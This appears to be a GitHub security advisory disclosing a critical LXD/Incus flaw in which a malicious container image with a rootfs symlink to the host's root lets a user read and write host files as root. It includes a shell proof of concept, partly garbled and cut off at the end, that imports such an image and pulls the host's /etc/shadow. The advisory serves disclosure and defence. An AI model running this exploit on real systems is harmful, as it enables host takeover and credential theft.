GHSA-vghh-5rfx-xhq8: LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image

  • Severity: CRITICAL
  • Ecosystems: go
  • Packages: github.com/canonical/lxd

Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv

### Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

### Details

Incus validates an image as soon as it sees a normal `metadata.yaml` and
a `rootfs/` entry, but full extraction can later process a duplicate top-level
`rootfs` symlink. Later, the stopped-container file API opens
`d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to
it.

“`
metadata.yaml
rootfs/
rootfs -> /
“`

In practice, this allows a malicious actor to access the host’s filesystem
with root privileges.

### PoC

Below, we map the container’s rootfs to `/` on the host, but it can be
mapped anywhere. We then retrieve the host’s `/etc/shadow` file and
create a file in `/`.

“`
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
rm -rf “${tmpdir}”
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p “${tmpdir}/img/rootfs”
cat../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar –owner=0 –group=0 -f ../afrw-rootfs-symlink.tar –append rootfs

incus image import ../afrw-rootfs-symlink.tar –alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink

# read
incus file pull afrw-rootfs-symlink/etc/shadow “${tmpdir}/shadow”
cat “${tmpdir}/shadow”

# write
printf ‘afrw-rootfs-symlink\n’ >”${tmpdir}/afrw-rootfs-symlink”
incus file push “${tmpdir}/afrw-rootfs-sym…

Source: GitHub Security Advisories · 2026-11-06